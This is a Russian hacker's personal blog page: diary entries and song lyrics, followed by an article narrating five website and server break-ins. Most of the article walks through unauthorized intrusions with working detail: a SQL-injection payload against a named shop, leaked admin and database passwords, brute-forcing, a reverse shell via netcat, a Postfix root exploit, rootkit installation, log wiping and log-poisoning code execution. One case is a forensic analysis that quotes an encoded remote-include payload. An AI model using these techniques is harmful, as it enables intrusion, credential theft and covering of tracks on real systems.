Похоже я начал заболевать типичной кодерской болезнью - счет с нуля. Раньше за собой не замечал, а вот теперь понял. Мдя... это должно было случиться
День программиста
Ну вот наконец то 13 сентября официально сделали днем программиста.
Себя к программистам не отношу, но от всего сердца поздравляю людей занимающихся этой нелегкой профессией.
Нытики....
Вот заепали уже эти нытики. Всем хреново, у всех депрессия. Одного девушка бросила, у другого хуй отвалился. Пля.
Вокруг одни пессимисты!
Нужно смотреть на жизнь веселей .!.
Все идет по плану!
Бред после кофе. 2 чашка
А вот еще. Самый кул. Просто кул. Я чуть не прослезился:
Хороша сегодня школа, зал горит огнём.
На четвёрки и пятерки пляшем и поём.
Кто в учёбе отличился, кем гордится класс,
Тот умеет веселиться лучше в 10 раз.
Мой новый сосед по парте в прошлой четверти был не ахти,
Все оценки ниже пяти, твердых четверок нету почти.
Если наши багажи знаний сохранить в формате TXT,
Ему дискеты хватит, мне - не менее девяти DVD.
Даже Георгий Петрович, покровитель двоечников,
Пять ему по труду не поставил, а с ним не поспоришь никак.
Если вызовешь Chest'а к доске, чувство, будто бы доешь быка.
Вроде бы даже что-то мычит, но хоть убей, не видать молока.
На уроках валял дурака, в плеере громко гонял Тупака.
Лишь для просьбы выйти в толчок, вздымалась над партой его рука.
Но мне до этого не было дела, пока в предверии школьного огонька,
Он обидное слово не написал на обложке моего дневника.
Я даже не стал стирать его ластиком, а просто во время праздника
Взял mic в актовом зале и наказал проказника.
Chest пожалел, что в кастинге, среди папиных белых головастиков.
Он во время зачатия не стал непрошедшим участником.
Хороша сегодня школа, зал горит огнём.
На четвёрки и пятерки пляшем и поём.
Кто в учёбе отличился, кем гордится класс,
Тот умеет веселиться лучше в 10 раз.
Мой забойный фристайл в зале, произвёл небывалый фурор,
Все, кто стоял до сих пор затанцевали комплексам наперекор.
Даже лысый физрук-негатив для себя открыл новый спорт
И весело махая барсеткой в пляс пустился во весь опор.
Его задор здорово вдохновил препода биологии
Сева всегда спокойней удава был, но сегодня его ослушались ноги.
Сделав растения вида каннабис-индика жадный напассик
Он выбежал на танцол с криками "Wicked! Wicked! Jungle is massive!"
Мисси под Drum'n'Bass-овое мясо колбася в экстазе
Тоже выкрикивала фразы на преподаваемом ею ин. язе.
Понимал её только Вова, сидевший с Артуром за одной партой.
Говорил: "Вот немка наклюкалась. Дура - башка болеть будет завтра."
Говорил он это так быстро, что разобрать никто не успевал.
Тем более частоты низкие плотно прокачивали актовый зал.
Вот как был проучен нахал. Весь народ радовался и ржал.
Крепкой двойкой в итоге стал Chest'а средний годовой балл
Хороша сегодня школа, зал горит огнём.
На четвёрки и пятерки пляшем и поём.
Кто в учёбе отличился, кем гордится класс,
Тот умеет веселиться лучше в 10 раз.- NOIZE MC
Статьи, которые я когда либо писал.
Многие из них писал давно, так что уровень может страдать.
Кодерские хаки
Вооруженный пингвин. Компактный софт для боевых действий.
h3k FAQ
Perl. Лучший друг хакера.
Пять раз - hack
Story. Полночный взлом
Баги в исходных кодах. Part 2
Баги в исходных кодах
Основы *NIX кодинга. Часть 1.
Клиент сервер на основе WinSock
Шалим в реестре.
Полезности в delphi или FAQ дельфиста.
Тяжелые будни
Ух блин. Не думал я, что физрук на меня так насядет.
К тому же не могу войти в колею, в сеть выхожу только пару раз в день. Времени не хватает (простите тимовцы). Ну ничего. Счаз с делами разберусь и заведусь.
Супер событие
Уже весь интернет трясется от этой новости. У fraIzer а днюха. И причем юбилей.
Поздравляю, бро! Пусть тебя всегда сопровождает попутный ветер.
cDc
Ужеес. Оказалось, что половина моих знакомых не знает что такое (точнее кто такое) культ мертвой коровы.
Как можно не знать эту старейшую группу компьютерного андеграунда. Ну по крайней мере все знают знаменитый Back Orifice. Ведь Его написали люди из cDc. Вообще про них ходят много слухой и сплетен. Говорили что они нарушили движение спутника, что они воюют с цероковью. Короч много чего.... Надо будет замутить как нибудь рассказец про них.
Возвращаюсь к delphi
Решил опять начать программировать на дельфи.
В последнее время я его совсем забросил.
На харде даже среды не было.
Но вчера скачал 2009 поставил. Буду кодить иногда.
Отдохнул
Вобщем наконецто собрались с друзьями съездить за город.
Седня утром поехали. Попили пивка, пожарили шашлычки....=)
Потом гроза началась, потом град пошел. ППц. Ну правда потом еще купаться бегали.
Вобщем норм... Я даж загорел
Понаехали =)
ППц. Вчера приехала сестра сегодня приедет ее парень. Окупируют мой PC и будут сидеть в своих одноклассниках и вконтактиях. У меня тольк ноут. Буду читать.
ремейки владухи
Вобщем решил подредактировать статьи владухи и написать продолжение.
Админ не против. сказал повесит новые статьи на мэинпагу. Кстати первая уже готова
Иcтория StraNger а
Я смотрю тут всех на мемаурары потянула. Ну а я что? Лысый что ли?
Итак. Мой первый интернет был диалап. !>40 к\с
Я тогда немного бейсиком баловался. А восновном играл во все что попадется.
Около года назад подключили выделенку. Ну и понеслась...!
Сначала просто мучил гугл разными запросами. Потом наткнулся на статьи владухи, ну и соответственно на хз. Ник зарегестрировал, но на форуме бывал реко. Обычно просто читал статьи. Потом встретил шайтана, он меня затащил на форум. Ну и понеслась...! Сидел сутками, ждал постов. Отвечал. Писал статьи. Потом получил лум. Правда свою первую шоху пришлось продать. Кстати стал модером.
Ну и дальше я в NAT. Там все с хз. Потом нат распался. Ну я подался читать маны и учить побольше языков. В итоге я знаю с/с++ php perl delphi/pascal (хвастаюсь) при этом свободно орентируюсь в никс системах, и знаю много чего о безопастности как прикладных программ, так и серверных скриптов (хвастаюсь). Буквально месяц назад пригласили в gr-team. Все я там. Щаз живу и наслаждаюсь кибер реальностью
ухххх
меняем обуфь
Перешел на kde+поставил freepascal(для школы), что б в винд меньше заходить.
Сделал несколько скринов:
СпорТсмеН
Все. Начал бегать по утрам. Если честно жуть как сложно встать. Особенно если лег в 4 часа утра. Иногда вечером бегаю.
После первой пробежки думал сдохну. А щаз ничего вроде. Неплохо себя чувствую.
ВАЖНО!
Я ПОВТОРЮСЬ, ЧТО К БЛОГУ http://stranger.noiso.ru/ НЕ ИМЕЮ НИ КАКОГО ОТНОШЕНИЯ.
Как себя убивать.
Вот так все говорят, что сидя за компом гробишь себе все здоровье. Согласен. Но ведь каждый сам решает как себя гробить. Кто то сидит на игле. Кто то курит. Кто то бухает непросыхая. Ну а кто-то сидит за компом.
Смерти не избежать, любым из способов, но в конце концов ты себя убьеш.
Контакты.
7воземь5семь72два
fukinstranger@jabber.ru
www.twitter.com/real_StraNger
Profiles:
hackzona profile
antichat profile
getroot profile
(на гавновопросы не отвечаю)
Пять раз - hack
INTRO
Привет читатель! Я продолжаю радовать (или огорчать) тебя своими сумасшедшими статьями. Сегодня меня накрыла муза. И я решил писать.
Название данного материала 5 раз – hack. О чем она?
Ниже я приведу 5 интересных случаев взлома. Потом проанализирую их.
Ну и начнем…
BODY
Предновогодний дамп && Печальная истории шопа. Hack №1
Предыстория
На улице была зима. Дело шло к Новому Году. Как раз перед каникулами я загрипповал и как водится, остался дома.
Потягивая чай с малиновым вареньем я серфил просторы Интернета, даже не задумываясь о том, что меня ждет дальше. Вскоре я наткнулся на онлайн шоп.
Там продавалось всякое барахло, вроде бейсболки с айподом или наушников со встроенным прибором для измерения пульса.
Делать было нечего, все знакомые из сети разошлись по школам и институтам, поэтому я решил протестировать сайт на безопасность.
Hack.
Reverse IP показало, что на сервер находится только этот ресурс
Не обнаружив в подвале сайта никаких надписей о версии и наименовании движка я обратил свой взгляд на исходник страницы.
После беглого осмотра кода стало ясно, что двиг самописный. Ну что ж так даже интереснее. Немного потыкав параметры я ничего не обнаружил. Скрипт тупо перенаправлял мена на главную страницу.
Но кто ищет тот найдет. Неприметная кнопочка, для вывода информации об изготовители товара, передавала не фильтруемое значение:
www.tatshop.us/oldproducts.php?category=iron&id=32'
www.tatshop.us/oldproducts.php?category=iron&id=32'+uninon+select+1,2,3,unhex(hex(password)),5,6,7,8,unhex(hex(usernam)),10,11+from+usershop+limit+1,1/*
Хеш пассворда и логин были у меня в руках. Понадеявшись на фортуну я попробовал сбрутить хеш с помощью онлайн сервисов. К счастью админ оказался не слишком «продупленным» и пароль был несложным: 12041980. Похоже дата рождения
Осталось найти админ панель и дело в шляпе.
Только вот стандартные /admin и /administrator не прокатывали. Тогда я заглянул в поисковик:
site:www.tatshop.us admin
И удача! Первая ссылка ввела в админку.
www.tatshop.us/structure/admin
banny: 12041980
Оказавшись хозяином сайта я стал прощупывать CMS на возможность выполнение кода.
В разделе «настройки» была возможность добавлять товары и заливать картинки. Чем я и воспользовался, залив r57shell.
Тут я понял, что мне придется изрядно постараться, что бы найти его. Минут пятнадцать побрутив директории я таки наткнулся на скрипт:
www.tatshop.us/structure/products/usrjoin.php
(usrjoin.php – веб шелл)
Тут же выполнив команду "id"я получил вот такие сведения:
uid=11187(oldstas) gid=11187 (oldstas) groups=11187 (oldstas)
Можно было попробовать залить нормальный шелл, но я не стал торопиться.
Погуляв по доступным директориям, я нашел интересным файл:
configmysql.php
Содержание было довольно обширным, но меня привлекла вот эта часть:
$host = "localhost" ;
$username = "banny" ;
$password = "80190412" ;
Попробовав подключиться к базе, мне дали пинка.
Тогда, найдя бажный скрипт, я внимательно осмотрел его.
И нашел строку:
Пройдя по пути:
/home/oldstas/www/includ/
И открыв файл db.php
Я обнаружил заветную цель.
define("HOST", "localhost");
define("USER", " oldstas");
define("PASS", "3r3o4i");
define("DB", " oldstas _cards");
Дальше все было просто, как два байта передать. Я подключился и зделал дапм базы.
Послесловие.
Как видите, безопасность сайта опять подвела иньекция. К тому же в админ панели было несложно залить шелл. Так что администрация крупно облажалась. Так вот, стоит ли ставить самописные двиги на такие проекты? Думаю если бы стоял паблик движок, то взлом затянулся бы подольше. Хотя это тоже могло и упростить дело.
Мыло стоит рута && ода о паролях. Hack №2
Предисловие.
Было около 11 часов вечера. Вернувшись, домой после вечерней прогулки я первым делом проверил почту, прикидывая в голове план на очередную бессонную ночь. Неплохо было бы пополнить свою коллекцию шелл аккаунтов.
Допросив гугл я нашел парочку .us сайтов. Выбрав один я стал осматривать содержимое.
Hack.
Ничего особенного кажется новостной портал или что то вроде того.
Погуляв по сайту я наткнулся на мыло rabel@newnews.us
Вызвав консоль, я запустил полуоткрытое сканирование портов:
$nmap –v –sS www.newnews.us
21 open
22 open
25 open
110 open
Пробив 21 порт netcat –ом я убедился, что там висел свеженький ProFTP
Вернувшись на сайт, я нашел почтовый сервис. Там присутствовала функция восстановления пароля, но это не катило. Мне нужен был сам пароль. Похоже, выходом из данной ситуации был только брут.
Порывшись в архивах я нашел perl скрипт. Пристыковав к нему весомую базу паролей, я запустил брутофорс.
Скрипт закончил работу на следующее утро. Пароль был довольно простым:
13 05 33 26
Поковыряв почтовый ящик я не обнаружил там ничего интересного.
Тогда я решил реализовать старую задумку – попробовать войти на ftpс помощью пароля от мыла:
$ftp
$>open 234.32.54.17
User rabel
Passwd
И как ни странно у меня получилось
Создав простенький phpскрипт примерно такого содержания:
Я залил его в корневую директорию сайта:
$cd /www
$send /home/stranger/tmp.php
И выполнил
www.newnews.us/tmp.php
Теперь можно бы попробовать подключиться к серверу:
$nc 234.32.54.17 2370
У меня был полноценный шелл.
Пробив командой id свои права, я увидел вот это:
uid=234(robel) gid=234(robel) group=234(robel) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023
Но команда
$uname –a
Совсем меня не порадовала
На серванте крутилась последняя (на тот момент) пропатченое ядро linux
Уже собравшись плюнуть на это дело я проверил запущенные процессы.
Меня заинтересовал демон Postfix. Я вспомнил, что сканирование показало открытый 25 порт сервера.
А известно, что в Postfix для открытие 25 порта нужны рутовые привилегии. Так что есть возможность поднять свои права.
Проверив версию демона я был приятно удивлен. В паблике меня уже дожидался, сплоит, который давал рута. Посмотреть можно здесь.
$sh sploit.sh
Все. Осталось только установить руткит.
Залив wget –ом LRK5 я запустил его в теневом режиме:
$make shadow install
Затерев логи я вышел из системы.
Послесловие.
Как видишь, всего лишь одно взломанное мыло стоило администрации очень дорого. Думаю, не стоило светить электронный адрес на сайте.
Да и за обновление ПО следить нужно повнимательней. Думаю если бы Postfix был обновлен я бы не смог получить рут.
Как развлекаются скрипт-кидди && Мой первый взлом. Hack №3
Предыстория.
Начитавшись статей про крутые взломы, мне жутко захотелось сделать что то подобное.
Изучив phpincludebug, я начал пытать google.
Hack
inurl:"php" and "page="
Пропарсив несколько ссылок я обнаружил инклуд. Жалко, что не удаленный, но читать файлы было возможно:
www.target.com/view.php?page=car.php&id=1
www.target.com/view.php?page=../../../etc/passwd&id=1
Теперь можно было попробовать найти конфиг apache и сконструировав специальный заголовок выполнить php код.
Перепробовав несколько путей я нашел верный:
www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&id=1
Далее, с помощью firefox плагина LiveHTTPHeaders я записал в поле User-Agent такой код:
И вызвал скрипт:
www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&cmd=ls
На что тот выплюнул содержимое текущей директории.
Но из-за своей неопытности я так и не смог ничего сделать, кроме как задефейсить главную страницу.
А что вы хотели? Первый взлом.=)
Послесловие.
Как видите, я, не имея практически никакого опыта, смог задефейсить сайт. И все из-за банального инклуда. Конечно если бы тогда у меня было побольше опыта и знаний последствия могли бы быть гораздо серьезнее.
Почему нужно знать php. Hack №4
Предыстория.
Однажды утром мой хороший сетевой друг попросил проверить один сайт, т.к. у него были давние счеты с админом. Знакомый этот меня часто выручал, поэтому я решился взяться за это.
Hack.
Первое что бросилось в глаза это подпись в подвале сайта:
Powerby CamanCMS
Помучив гугл мне стало ясно, что это бесплатный двиг. Причем про уязвимости в нем не говорилось ни слова.
Но была реальная возможность поискать дыры самому в исходном коде.
Скачав CMS и поставив ее на localhost, я принялся за изучение.
Скажу, что поиск дыр занял около часа, за это время я наткнулся только на пассивную xss.
Но вскоре удача повернулась ко мне приличным местом, вот в этом участке кода:
If(isset($getinfo)
{preg_replace("/345/e",$_GET['name'],$_GET['date']);}
else
{print “Information not found
”}
Об этой уязвимости я читал в статье Elekt –a.
Суть в том, что использование модификатора –e в регулярном выражении может вести к выполнению произвольного кода во втором параметре. Скажу что бага ну ОЧЕНЬ редкая. У меня были сомнения насчет нее. Но на целевом сайте выглядело так:
Код:
www.jonniget.ru/find.php?name=CODE&
Теперь нужно было получить нормальный доступ к серверу, т.к. другу этого было достаточно.
Скачав и запустив на сервер биндшелл я попробовал подлючиться. Но вопреки моим ожиданием коннекта не было. Похоже, фаервол резал все входящие подключения.
Но была вероятность, что он неправильно настроен, т.е. возможно провести бэкконнект.
Не долго думая я выполнил такую команду (у себя в консоли)
Код:
netcat -l -p 4444
А на целевом сервере:
nc -v 43.23.234.32 4444 -e /bin/sh &
Где 43.23.234.32 – мой адрес
Через некоторое время произошло подключение.
Больше мне и не нужно было. Написав небольшую записку о реализации уязвимости, я отправил ее своему знакомому по e-mail
Послесловие.
Ну что сказать. Создатели сайта использовали бесплатную CMS. Не скажу, что это плохо, но как видно ошибки все-таки нашлись. Я даже был несколько удивлен тому, что их оказалось немного. Несомненно, плюс администрации за файрвол, который блокировал мой бинд шелл. Но опять же он был неправильно настроен, что и позволило мне проникнуть на сервер.
После взлома && По другую сторону баррикад. Hack №5
Предыстория
Около 2 месяцев назад мне нужно было исследовать одну «живую» взломанную систему.
Сейчас я и расскажу об этом.
Hack…. или не hack?
В общем, система была свеженькая, не перезагруженная. Так сказать труп был еще теплым =(/)
Нужно было очень хорошо подумать. Ведь система могла быть протроянена.
Поэтому я решил сначала протестировать взломанную Ось на наличие руткитов, а потом проанализировать лог файлы. Если такие сохранились.
В качестве клинера я выбрал chkrootkit
Скачав и распаковав архив я уже хотел приступить к компиляции, но вспомнил что я redhat системе. Поэтому пришлось кое-что подредактировать в исходниках (манны кстати здорово помогли):
chklastlog.c
#define LASTLOG_FILENAME "/var/adm/lastlog"
On
#define LASTLOG_FILENAME "/var/log/lastlog"
#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"
chkwtmp.c
#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"
Далее компиляция была произведена без последствий.
Запуск:
$./chkrootkit
Но программа так ничего и не обнаружила. Похоже, система была чиста.
Тогда возможно остались лог файлы, поэтому я пошел помучить syslog.
Но и тут все было в порядке. Странно. Может админы нас нае*бли?
Но вот что интересно. Пробежавшись по временным файлам, я обнаружил один, который меня заинтересовал. Похоже, он относился к логклинеру vanish.
Но ваниш прога порядочная. Все файлы после себя подтирает. Единственное что пришло мне в голову это то, что взломщик аварийно прекратил работу программы. Тогда бы временные файлы остались.
После некоторых раздумий я решил проверить логи апача.
Веб контент был скудный, одни HTML (по словам администрации), стоял еще форум, но он был пропатчен. Так что взлом через веб зону был исключен. Но проверить не помешает.
В логах было обнаружена вот такая картина (вырезка):
r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115)
.chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53) .chr(55).chr(105).chr(112).chr(98). chr(105).chr(110).chr(99). chr(46). chr(116).chr(120).chr(116)))
Использование сплоита на лицо. Но как вы понимаете неудачно. Айпишник тоже засветился. Но, скорее всего это прокси.
Вот и все что удалось раскопать. А взлом был произведен из-за не пропатченого демона ftp
Далее я просто скинул админу на мыло результат работы.
Послесловие.
Ну что тут сказать. В первых хакера подвела работа логвайпера. Т.е. по сути, он сам себя подвел. Да и потом использование этого сомнительного сплоита. И следы в логах апача. Похоже, работал новичок.
OUTRO.
Ну вот. Я постарался выбрать 5 разных случаев взлома. Надеюсь, этот материал поможет зазевавшимся админам в их работе. Взломы есть и будут. Вопрос только во времени.
Удачи!
die «Вся информация выложена только для ознакомление, автор не несет ответственности за использование материала в личных целях»
Наверняка вы найдёте в статье ошибки. Буду очень рад если они будут указаны в комментариях.
StraNger aka reaL StraNger